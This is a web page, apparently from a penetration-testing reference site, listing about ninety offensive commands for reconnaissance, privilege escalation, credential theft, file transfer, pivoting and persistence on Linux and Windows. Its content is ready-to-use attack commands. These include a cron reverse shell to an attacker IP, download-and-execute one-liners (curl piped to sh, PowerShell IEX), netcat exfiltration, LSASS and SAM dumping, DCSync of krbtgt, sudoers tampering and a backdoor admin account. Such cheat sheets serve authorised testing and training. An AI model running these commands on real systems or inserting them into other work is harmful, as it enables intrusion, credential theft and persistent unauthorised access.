OPSECTLAS you are here: Command Library
library

Command Library

90 commands Recon · Linux · Windows · Active Directory · by intent

The commands you reach for every engagement, in the order you need them. Set $_ vars and they fill with your target and IP.

+Recon & Enumeration

Port Scanning / 5

All 65535 TCP ports, fast, saved

nmap -p- --min-rate 5000 -T4 <TARGET-IP> -oN ports.txt

Version + default scripts on only the open ports

nmap -sCV -p$(grep ^[0-9] ports.txt | cut -d/ -f1 | paste -sd,) <TARGET-IP>

Top UDP ports (SNMP, DNS, TFTP, IKE hide here)

nmap -sU --top-ports 100 <TARGET-IP>

Known-vuln scripts on the interesting ports

nmap --script vuln -p<PORTS> <TARGET-IP>

Host discovery (ping sweep) across a subnet

nmap -sn <RANGE>
Web Enumeration / 6

Stack, framework, CMS, and versions

whatweb -a 3 http://<TARGET-IP>

Directory and file discovery

ffuf -u http://<TARGET-IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403

Virtual host discovery

ffuf -u http://<TARGET-IP> -H "Host: FUZZ.<TARGET-IP>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0

Hidden parameter discovery

ffuf -u "http://<TARGET-IP>/?FUZZ=1" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

Default files, dangerous methods, known issues

nikto -h http://<TARGET-IP>

WordPress vulnerable plugins + user enumeration

wpscan --url http://<TARGET-IP> --enumerate vp,u
Service Enumeration / 5

SMB null-session share listing

netexec smb <TARGET-IP> -u "" -p "" --shares

SMB users / groups / shares / policy in one pass

enum4linux-ng -A <TARGET-IP>

Public SNMP: processes, users, sometimes creds

snmpwalk -v2c -c public <TARGET-IP>

Exported NFS shares (look for no_root_squash)

showmount -e <TARGET-IP>

DNS zone transfer attempt

dig axfr @<TARGET-IP> <YOUR-DOMAIN>

+Linux

Enumeration / 9

Who am I, and where

id && whoami && hostname

Kernel and distro (for kernel exploits)

uname -a && cat /etc/os-release

What can I run as sudo (check GTFOBins for each)

sudo -l

SUID binaries (privesc leads)

find / -perm -4000 -type f 2>/dev/null

SGID binaries

find / -perm -2000 -type f 2>/dev/null

Files with capabilities (cap_setuid etc.)

getcap -r / 2>/dev/null

Scheduled jobs (writable script = root)

cat /etc/crontab; ls -la /etc/cron*

Listening services (internal privesc leads)

ss -tlnp || netstat -tulpn

Running processes (look for root running your stuff)

ps auxww
Privilege Escalation / 6

Writable directories

find / -writable -type d 2>/dev/null

Files you can write but do not own

find / -writable ! -user `whoami` -type f -not -path '/proc/*' 2>/dev/null

Run LinPEAS in memory (no disk write)

curl http://<YOUR-IP>:<LPORT>/linpeas.sh | sh

If /etc/sudoers is writable

echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

Make a hash to add a root line to /etc/passwd (if writable)

openssl passwd -1 -salt x pass123

Kernel version, then: searchsploit linux kernel <it>

uname -r
Credential Access / 5

Password hashes (if readable = misconfig)

cat /etc/shadow

Hunt creds in config files

grep -riE 'password|passwd|secret|api_key' /etc /var/www /home 2>/dev/null

SSH private keys

find / -name "id_rsa" -o -name "*.pem" 2>/dev/null

History files (creds get typed)

cat ~/.bash_history ~/.mysql_history 2>/dev/null

KeePass DBs / VPN configs

find / -name "*.kdbx" -o -name "*.ovpn" 2>/dev/null
File Transfer / 5

Serve files from your box (attacker)

python3 -m http.server <LPORT>

Pull a file (victim)

wget http://<YOUR-IP>:<LPORT>/file -O /tmp/file

Pull a file with curl

curl http://<YOUR-IP>:<LPORT>/file -o /tmp/file

Netcat exfil

nc -lvnp <LPORT> > loot.tar; # victim: nc <YOUR-IP> <LPORT> < file

Encode to copy-paste when no network

base64 -w0 /etc/shadow
Pivoting & Tunneling / 4

Local port forward (reach an internal service)

ssh -L 8080:127.0.0.1:80 <USER>@<TARGET-IP>

Remote forward (bring a victim port to you)

ssh -R 9001:127.0.0.1:9001 <USER>@<YOUR-IP>

Dynamic SOCKS proxy (then use proxychains)

ssh -D 1080 <USER>@<TARGET-IP>

Chisel reverse SOCKS (no SSH needed)

./chisel server -p <LPORT> --reverse # victim: ./chisel client <YOUR-IP>:<LPORT> R:socks
Persistence / 2

Add your key for SSH-back

echo "ssh-rsa AAAA... you" >> ~/.ssh/authorized_keys

Cron reverse shell every minute

(crontab -l; echo "* * * * * bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1") | crontab -

+Windows

Enumeration / 8

User, groups, and privileges in one shot

whoami /all

Token privileges (SeImpersonate = SYSTEM path)

whoami /priv

OS, patches, arch (for kernel/priv exploits)

systeminfo

Local users and admins

net user && net localgroup administrators

Network layout and neighbours

ipconfig /all && arp -a

Connections and listening ports (internal leads)

netstat -ano

Non-Windows services (unquoted-path / weak-perms leads)

wmic service get name,displayname,pathname,startname | findstr /i /v "C:\Windows"

AlwaysInstallElevated (1 = free SYSTEM via MSI)

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Privilege Escalation / 5

If Enabled -> Potato attack to SYSTEM

whoami /priv | findstr /i "Impersonate AssignPrimary"

SeImpersonate -> SYSTEM (2016-2022, Win 8-11)

.\GodPotato.exe -cmd "cmd /c whoami"

Automated privesc enum (RED = exploitable)

.\winPEASx64.exe

Run an MSI as SYSTEM (AlwaysInstallElevated)

msiexec /quiet /qn /i C:\Temp\shell.msi

Inspect a service (unquoted path / weak binpath)

sc qc <SERVICE-NAME>
Credential Access / 5

Dump SAM+SYSTEM (crack offline with secretsdump)

reg save HKLM\SAM sam.hive && reg save HKLM\SYSTEM system.hive

Saved credentials (then runas /savecred)

cmdkey /list

Dump LSASS (extract creds offline)

rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\Temp\lsass.dmp full

Hunt plaintext creds in files

findstr /si password *.txt *.ini *.config *.xml

DCSync krbtgt (Mimikatz, needs replication rights)

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
File Transfer / 4

Download with certutil (always present)

certutil -urlcache -split -f http://<YOUR-IP>:<LPORT>/nc.exe C:\Windows\Temp\nc.exe

PowerShell download to disk

(New-Object System.Net.WebClient).DownloadFile("http://<YOUR-IP>:<LPORT>/f.exe","C:\Temp\f.exe")

Run a script in memory (no disk)

IEX(New-Object Net.WebClient).DownloadString("http://<YOUR-IP>:<LPORT>/s.ps1")

SMB copy (host with impacket-smbserver)

copy \\<YOUR-IP>\share\nc.exe C:\Temp\nc.exe
Pivoting & Tunneling / 2

Native port forward on the target

netsh interface portproxy add v4tov4 listenport=8080 connectaddress=127.0.0.1 connectport=80

Chisel reverse SOCKS back to you

.\chisel.exe client <YOUR-IP>:<LPORT> R:socks
Persistence / 3

Run key (runs at logon)

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v svc /d "C:\Temp\shell.exe"

Scheduled task as SYSTEM at logon

schtasks /create /tn "svc" /tr "C:\Temp\shell.exe" /sc onlogon /ru SYSTEM

New local admin

net user hacker Passw0rd! /add && net localgroup administrators hacker /add
connected

Grouped by intent; the playbooks put these in order across an engagement, and the Loadout exports your picked set as a runbook.

related
Payloads & Shells Enumeration Strategy Privilege Escalation AD Attack Path